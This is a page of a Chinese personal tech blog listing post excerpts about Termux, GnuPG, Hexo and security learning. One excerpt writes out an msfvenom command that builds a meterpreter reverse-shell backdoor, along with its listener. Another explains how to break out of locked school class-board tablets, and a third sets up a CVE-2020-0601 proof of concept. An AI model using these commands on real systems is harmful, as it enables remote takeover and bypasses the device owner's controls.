<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>Mox的笔记库</title><meta name="keywords" content="Working"><meta name="author" content="MocusEZ"><meta name="copyright" content="MocusEZ"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="探索未曾设想的道路">
<meta property="og:type" content="website">
<meta property="og:title" content="Mox的笔记库">
<meta property="og:url" content="https://www.mocusez.site/page/6/index.html">
<meta property="og:site_name" content="Mox的笔记库">
<meta property="og:description" content="探索未曾设想的道路">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://www.mocusez.site/img/head.jpg">
<meta property="article:author" content="MocusEZ">
<meta property="article:tag" content="Working">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://www.mocusez.site/img/head.jpg"><link rel="shortcut icon" href="/img/title.jpg"><link rel="canonical" href="https://www.mocusez.site/page/6/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//hm.baidu.com"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?c85c9eaebc158345532b86397a6dded9";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: {"path":"/search.xml","preload":false,"languages":{"hits_empty":"找不到您查询的内容：${query}"}},
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '天',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: 'Mox的笔记库',
  isPost: false,
  isHome: true,
  isHighlightShrink: false,
  isToc: false,
  postUpdate: '2023-10-21 12:23:56'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.2.0"><link rel="alternate" href="/atom.xml" title="Mox的笔记库" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="/img/head.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">61</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">8</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 归档</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链&amp;私人收藏</span></a></div><div class="menus_item"><a class="site-page" href="/board/"><i class="fa-fw fas fa-user"></i><span> 留言板</span></a></div></div></div></div><div class="page" id="body-wrap"><header class="full_page" id="page-header" style="background-image: url('/img/kali-2.0_kali-2.0-1920x1080.png')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Mox的笔记库</a></span><div id="menus"><div id="search-button"><a class="site-page social-icon search"><i class="fas fa-search fa-fw"></i><span> 搜索</span></a></div><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 归档</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链&amp;私人收藏</span></a></div><div class="menus_item"><a class="site-page" href="/board/"><i class="fa-fw fas fa-user"></i><span> 留言板</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="site-info"><h1 id="site-title">Mox的笔记库</h1><div id="site-subtitle"><span id="subtitle"></span></div><div id="site_social_icons"><a class="social-icon" href="https://github.com/mocusez" rel="external nofollow noreferrer" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:285918468@qq.com" rel="external nofollow noreferrer" target="_blank" title="Email"><i class="fas fa-envelope"></i></a><a class="social-icon" href="/atom.xml" target="_blank" title="RSS"><i class="fas fa-rss"></i></a></div></div><div id="scroll-down"><i class="fas fa-angle-down scroll-down-effects"></i></div></header><main class="layout" id="content-inner"><div class="recent-posts" id="recent-posts"><div class="recent-post-item"><div class="post_cover left"><a href="/posts/35736.html" title="Termux笔记：Arch与Ubuntu进坑记录"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Termux笔记：Arch与Ubuntu进坑记录"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/35736.html" title="Termux笔记：Arch与Ubuntu进坑记录">Termux笔记：Arch与Ubuntu进坑记录</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2020-01-25T14:25:51.000Z" title="发表于 2020-01-25 22:25:51">2020-01-25</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/Termux%E7%AC%94%E8%AE%B0/">Termux笔记</a></span></div><div class="content">如果说Termux对于安卓手机是金坷垃,那么基于Termux的Linux系统就是金坷垃的二次方(ง •̀_•́)ง

Arch准备话不多说，先clone一波
12git clone https://github.com/TermuxArch/TermuxArch.gitgit clone https://gitee.com/mocus/TermuxArch.git ##我自己的搬运的上面的镜像

操作12cd TermuxArchbash setupTermuxArch.bash
然后自动安装（记得要挂代理）……（坑了我一个拜年祭的时间）不过网上有老哥好像解决了没有代理（or 网速太慢）的问题https://www.cnblogs.com/ITKing9/p/10853787.html安装完了以后
1startarch
效果如下
Ubuntu第二天装软件的时候发现很多软件包装不了（有些软件包没有Arch的包）只好老老实实的用乌班图。没想到的是安装速度更快（时间被白嫖.jpg）
Wiki页写得很清楚，照做，避开我下面说的坑就可以了。https://wiki.termux.com/wiki ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/posts/12767.html" title="Termux笔记：CVE-2020-0601复现"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Termux笔记：CVE-2020-0601复现"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/12767.html" title="Termux笔记：CVE-2020-0601复现">Termux笔记：CVE-2020-0601复现</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2020-01-25T13:10:26.000Z" title="发表于 2020-01-25 21:10:26">2020-01-25</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/Termux%E7%AC%94%E8%AE%B0/">Termux笔记</a></span></div><div class="content">这是一个由美国国安局（NSA）提交的漏洞,出现漏洞的系统是2020年之前的win 10和windows server 2019

准备基于Termux的乌班图POC（https://github.com/ollypwn/CVE-2020-0601）软件包: openssl 1.1.0 ruby 2.4.0签名工具：signtool.exe（Visual Studio里面集成）或osslsigncode （Linux 我只在Ubuntu（ARM）上实现过,官方上面写着Ubuntu和Debian都可以）
安装osslsigncode1git clone https://github.com/mtrojnar/osslsigncode.git
安装依赖环境
1sudo apt-get update &amp;&amp; sudo apt-get install build-essential autoconf libtool libssl-dev python3-pkgconfig libcurl4-gnutls-dev
安装指令
12345cd osslsigncode./autogen. ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/posts/30681.html" title="在Android(Termux)上使用GnuPG"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="在Android(Termux)上使用GnuPG"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/30681.html" title="在Android(Termux)上使用GnuPG">在Android(Termux)上使用GnuPG</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2020-01-21T08:14:27.000Z" title="发表于 2020-01-21 16:14:27">2020-01-21</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/Termux%E7%AC%94%E8%AE%B0/">Termux笔记</a></span></div><div class="content">再也不用担心你的文件会被莫名其妙给抄水表了　　(｢･ω･)｢

准备1pkg install gnupg
所有命令1gpg --help
会显示出全部命令:
1234567891011121314151617181920212223242526272829303132333435363738Commands: -s, --sign                  make a signature     --clear-sign            make a clear text signature -b, --detach-sign           make a detached signature -e, --encrypt               encrypt data -c, --symmetric             encryption only with symmetric cipher -d, --decrypt               decrypt data (default)     --verify                ver ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/posts/61195.html" title="信息收集-中国电动车与换电站"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="信息收集-中国电动车与换电站"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/61195.html" title="信息收集-中国电动车与换电站">信息收集-中国电动车与换电站</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2020-01-05T02:02:44.000Z" title="发表于 2020-01-05 10:02:44">2020-01-05</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/">学习资料</a></span></div><div class="content">最初我在Topgear上面看到的一篇文章（说的是ES6从北京开到上海）。有理由相信，给电动车换电池是一个大胆的尝试

资料https://m.haoche.cn/news/xw/1908/369347.html（Topgear的转载中文译文 ）http://m.sohu.com/a/324800136_99963355（搜狐网:一文让你看懂蔚来换电站）https://m.jiemian.com/article/3446330.html（有关换电站的调查）http://m.hxnews.com/news/fj/mn/xm/201611/25/1110452.shtml（厦门2016年的换电站）
个人看法找资料的时候发现知乎上面全部都是一边倒的评论 ( https://www.zhihu.com/question/302253843 )话说NIO是这么不受人待见的吗？这有点出乎我的意料首先，换电池的价格有点贵，目前只有北汽新能源和NIO在做。其次，电池的寿命貌似也成问题，锂电池的技术还没有成熟到随处可用的程度。（听说冬天使用寿命会下降？）总而言之，既然是尝试，我觉得可以以开放的心态来看待（ ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/posts/17644.html" title="信息收集：俄罗斯主权互联网"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="信息收集：俄罗斯主权互联网"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/17644.html" title="信息收集：俄罗斯主权互联网">信息收集：俄罗斯主权互联网</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2019-12-31T14:16:02.000Z" title="发表于 2019-12-31 22:16:02">2019-12-31</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/">学习资料</a></span></div><div class="content">这可能是有史以来人类最大规模断网行为，值得注意。 



参考资料https://www.freebuf.com/news/219267.html
（俄罗斯大规模“断网”测试，网络安全乌托邦真的存在吗？）
http://publication.pravo.gov.ru/Document/View/0001201910210025
（俄罗斯官方文档，看不懂）
正文2014年，普京在主持召开国家安全委员会会议时就讨论过“断网”问题，而俄罗斯军方和相关部门也曾进行过“关闭”国际互联网的演练。
2016年7月30日，俄罗斯联邦安全局在一份声明中表示，俄罗斯约20个政府部门的电脑网络被恶意植入了间谍软件，中毒电脑均属于国家要害部门，包括国家权力机关、科研单位、军事部门及军工企业。
2018年3月，俄罗斯独立电视台采访称，俄罗斯在技术上已为被切断国际互联网做好了准备。
2018年12月，俄罗斯国家杜马起草了“数字经济国家项目”（Digital Economy National Program）法案，强调有必要做好准备，在遭遇外部网络攻击时使用俄罗斯主权网络RuNet保障国家网络安全，并以334票支 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/posts/13740.html" title="信息收集：光刻机之战"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="信息收集：光刻机之战"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/13740.html" title="信息收集：光刻机之战">信息收集：光刻机之战</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2019-12-21T14:16:02.000Z" title="发表于 2019-12-21 22:16:02">2019-12-21</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/">学习资料</a></span></div><div class="content">因为没去申请授权，所以只贴链接
（算是光刻机的科普资料）



链接地址微信公众号：金捷幡（ID：jin-jiefan），作者：金捷幡
链接：
https://www.huxiu.com/article/307211.html
https://www.huxiu.com/article/298280.html
https://www.huxiu.com/article/305328.html
</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/posts/43220.html" title="如何以正确方式给门娃Gatebaby班牌安装常用软件"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="如何以正确方式给门娃Gatebaby班牌安装常用软件"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/43220.html" title="如何以正确方式给门娃Gatebaby班牌安装常用软件">如何以正确方式给门娃Gatebaby班牌安装常用软件</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2019-12-15T01:06:27.000Z" title="发表于 2019-12-15 09:06:27">2019-12-15</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E6%97%A5%E5%B8%B8%E7%AC%94%E8%AE%B0/">日常笔记</a></span></div><div class="content">学校给高中部新装了班牌，实质上就是Andriod大平板，可以用来做很多事情（比如说玩Angrybird）
这么好用的东西怎么能有限制呢？


开始进入设置界面随便找一个文本框（比如“消息”-“账户”），这时候会弹出输入法，在里面找一下输入法的设置。挨个点入“编辑”——“自定义短语”。这时候向右滑动，奇妙的事情就会发生(⊙o⊙)…

这时候做你该做的事情去吧
安装软件方案一（有失败可能）在“设置”——“关于设备”中，多点几下“Android安全程序补丁级别”，就会跳转到浏览器

你可以开热点让班牌上网！

然而，还有更快的方式！
在班牌浏览器输入 http://10.105.100.239/ （集美中学内网，班牌可直连）
你们可以用我在班牌搭建的下载站找到Angrybird和后面需要的软件

方案二（100%可行）没有手机的同学怎么办？安装ADB解决（你需要班级的电脑）
adb原理： https://developer.android.google.cn/studio/command-line/adb 
自己去网上找文件，加入到系统变量(自行百度)，打开CMD，输入IP连接
（12.17 ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/posts/34108.html" title="MSF日常学习"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="MSF日常学习"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/34108.html" title="MSF日常学习">MSF日常学习</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2019-12-14T23:14:51.000Z" title="发表于 2019-12-15 07:14:51">2019-12-15</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E6%97%A5%E5%B8%B8%E7%AC%94%E8%AE%B0/">日常笔记</a></span></div><div class="content">一些乱七八糟的东西

生成后门使用msfvenom
1msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.105.100.1  LPORT=4444 -f exe &gt; winc.exe

开启监听
123use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcprun

Windows网络代理netsh interface portproxy add v4tov4 listenaddress&#x3D;localaddress listenport&#x3D;localport connectaddress&#x3D;destaddress connectport&#x3D;destport 
netsh advfirewall firewall add rule name&#x3D;”pdd” protocol&#x3D;TCP dir&#x3D;in localip&#x3D;10.105.105.3  localport&#x3D;20 ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/posts/44055.html" title="Hexo部署安装全流程回顾"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Hexo部署安装全流程回顾"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/44055.html" title="Hexo部署安装全流程回顾">Hexo部署安装全流程回顾</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2019-11-29T07:02:08.000Z" title="发表于 2019-11-29 15:02:08">2019-11-29</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E6%97%A5%E5%B8%B8%E7%AC%94%E8%AE%B0/">日常笔记</a></span></div><div class="content">终于有时间可以整理一下这一段时间的工作，可供大家参考。


hexo 2022迁移butterfly
1npm install hexo-renderer-pug hexo-renderer-stylus

有异常情况，但不影响使用
1deprecate hexo-renderer-stylus@2.1.0 › stylus@0.57.0 › css@3.0.0 › source-map-resolve@^0.6.0 See https://github.com/lydell/source-map-resolve#deprecated

支持PWA了,还需要安装额外npm插件，由于懒得配备图片就没去做了
最初使用的WINDOWS的版本nodejs版本 v13.2.0git version 2.24.0.windows.
2022年换成
Arch Linux + v16.15.1
环境安装12345678910npm install -g hexo-clinpm install hexo-generator-feed --savenpm install hexo-generator-si ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/posts/36677.html" title="Begining"><img class="post_bg" src="https://ak.hypergryph.com/upload/images/20190228/b18b912d69fa0b3d571054c8f5fda5cf.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Begining"></a></div><div class="recent-post-info"><a class="article-title" href="/posts/36677.html" title="Begining">Begining</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2019-11-29T05:36:38.000Z" title="发表于 2019-11-29 13:36:38">2019-11-29</time></span><span class="article-meta"><span class="article-meta-separator">|</span><i class="fas fa-inbox"></i><a class="article-meta__categories" href="/categories/%E7%94%A8%E8%BF%87%E5%B0%B1%E4%B8%A2%E7%9A%84%E4%B8%9C%E8%A5%BF/">用过就丢的东西</a></span></div><div class="content">Nothing

在满足收藏需求的同时，兼顾分享和个人审美。不定期更新内容
</div></div></div><nav id="pagination"><div class="pagination"><a class="extend prev" rel="prev" href="/page/5/#content-inner"><i class="fas fa-chevron-left fa-fw"></i></a><a class="page-number" href="/">1</a><span class="space">&hellip;</span><a class="page-number" href="/page/5/#content-inner">5</a><span class="page-number current">6</span><a class="page-number" href="/page/7/#content-inner">7</a><a class="extend next" rel="next" href="/page/7/#content-inner"><i class="fas fa-chevron-right fa-fw"></i></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/img/head.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">MocusEZ</div><div class="author-info__description">探索未曾设想的道路</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">61</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">8</div></a></div><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/mocusez" rel="external nofollow noreferrer" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:285918468@qq.com" rel="external nofollow noreferrer" target="_blank" title="Email"><i class="fas fa-envelope"></i></a><a class="social-icon" href="/atom.xml" target="_blank" title="RSS"><i class="fas fa-rss"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">迎接新的明天</div></div><div class="sticky_layout"><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/posts/3e9f.html" title="RMM观察与初探"><img src="https://z1.ax1x.com/2023/10/21/piF47TA.md.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="RMM观察与初探"/></a><div class="content"><a class="title" href="/posts/3e9f.html" title="RMM观察与初探">RMM观察与初探</a><time datetime="2023-10-21T04:30:00.000Z" title="发表于 2023-10-21 12:30:00">2023-10-21</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/5e44.html" title="计算机网络课设——UDP/TCP/TLS Socket实验"><img src="https://s1.ax1x.com/2023/09/09/pP6qXOU.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="计算机网络课设——UDP/TCP/TLS Socket实验"/></a><div class="content"><a class="title" href="/posts/5e44.html" title="计算机网络课设——UDP/TCP/TLS Socket实验">计算机网络课设——UDP/TCP/TLS Socket实验</a><time datetime="2023-09-09T07:10:00.000Z" title="发表于 2023-09-09 15:10:00">2023-09-09</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/cd44.html" title="JQuery的XSS初探"><img src="https://s1.ax1x.com/2023/09/08/pPyvO0O.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="JQuery的XSS初探"/></a><div class="content"><a class="title" href="/posts/cd44.html" title="JQuery的XSS初探">JQuery的XSS初探</a><time datetime="2023-09-08T04:30:00.000Z" title="发表于 2023-09-08 12:30:00">2023-09-08</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/5862.html" title="生产实习记录"><img src="https://s1.ax1x.com/2023/09/02/pPBH058.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="生产实习记录"/></a><div class="content"><a class="title" href="/posts/5862.html" title="生产实习记录">生产实习记录</a><time datetime="2023-09-02T13:51:00.000Z" title="发表于 2023-09-02 21:51:00">2023-09-02</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/9a9b.html" title="Fedora-CoreOS配置与试用（2023年）"><img src="https://s1.ax1x.com/2023/08/28/pPa8tlF.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Fedora-CoreOS配置与试用（2023年）"/></a><div class="content"><a class="title" href="/posts/9a9b.html" title="Fedora-CoreOS配置与试用（2023年）">Fedora-CoreOS配置与试用（2023年）</a><time datetime="2023-08-28T11:35:00.000Z" title="发表于 2023-08-28 19:35:00">2023-08-28</time></div></div></div></div><div class="card-widget card-categories"><div class="item-headline">
            <i class="fas fa-folder-open"></i>
            <span>分类</span>
            
            </div>
            <ul class="card-category-list" id="aside-cat-list">
            <li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Arch-Linux%E6%8A%98%E8%85%BE/"><span class="card-category-list-name">Arch Linux折腾</span><span class="card-category-list-count">4</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/CTF%E9%A2%98%E8%A7%A3/"><span class="card-category-list-name">CTF题解</span><span class="card-category-list-count">7</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Security%E7%AC%94%E8%AE%B0/"><span class="card-category-list-name">Security笔记</span><span class="card-category-list-count">2</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Termux%E7%AC%94%E8%AE%B0/"><span class="card-category-list-name">Termux笔记</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/"><span class="card-category-list-name">学习资料</span><span class="card-category-list-count">4</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/%E6%97%A5%E5%B8%B8%E7%AC%94%E8%AE%B0/"><span class="card-category-list-name">日常笔记</span><span class="card-category-list-count">38</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%AC%94%E8%AE%B0/"><span class="card-category-list-name">渗透测试笔记</span><span class="card-category-list-count">1</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/%E7%94%A8%E8%BF%87%E5%B0%B1%E4%B8%A2%E7%9A%84%E4%B8%9C%E8%A5%BF/"><span class="card-category-list-name">用过就丢的东西</span><span class="card-category-list-count">2</span></a></li>
            </ul></div><div class="card-widget card-archives"><div class="item-headline"><i class="fas fa-archive"></i><span>归档</span><a class="card-more-btn" href="/archives/" title="查看更多">
    <i class="fas fa-angle-right"></i></a></div><ul class="card-archive-list"><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2023/10/"><span class="card-archive-list-date">十月 2023</span><span class="card-archive-list-count">1</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2023/09/"><span class="card-archive-list-date">九月 2023</span><span class="card-archive-list-count">3</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2023/08/"><span class="card-archive-list-date">八月 2023</span><span class="card-archive-list-count">2</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2023/06/"><span class="card-archive-list-date">六月 2023</span><span class="card-archive-list-count">1</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2023/02/"><span class="card-archive-list-date">二月 2023</span><span class="card-archive-list-count">1</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2023/01/"><span class="card-archive-list-date">一月 2023</span><span class="card-archive-list-count">3</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2022/09/"><span class="card-archive-list-date">九月 2022</span><span class="card-archive-list-count">2</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2022/08/"><span class="card-archive-list-date">八月 2022</span><span class="card-archive-list-count">6</span></a></li></ul></div><div class="card-widget 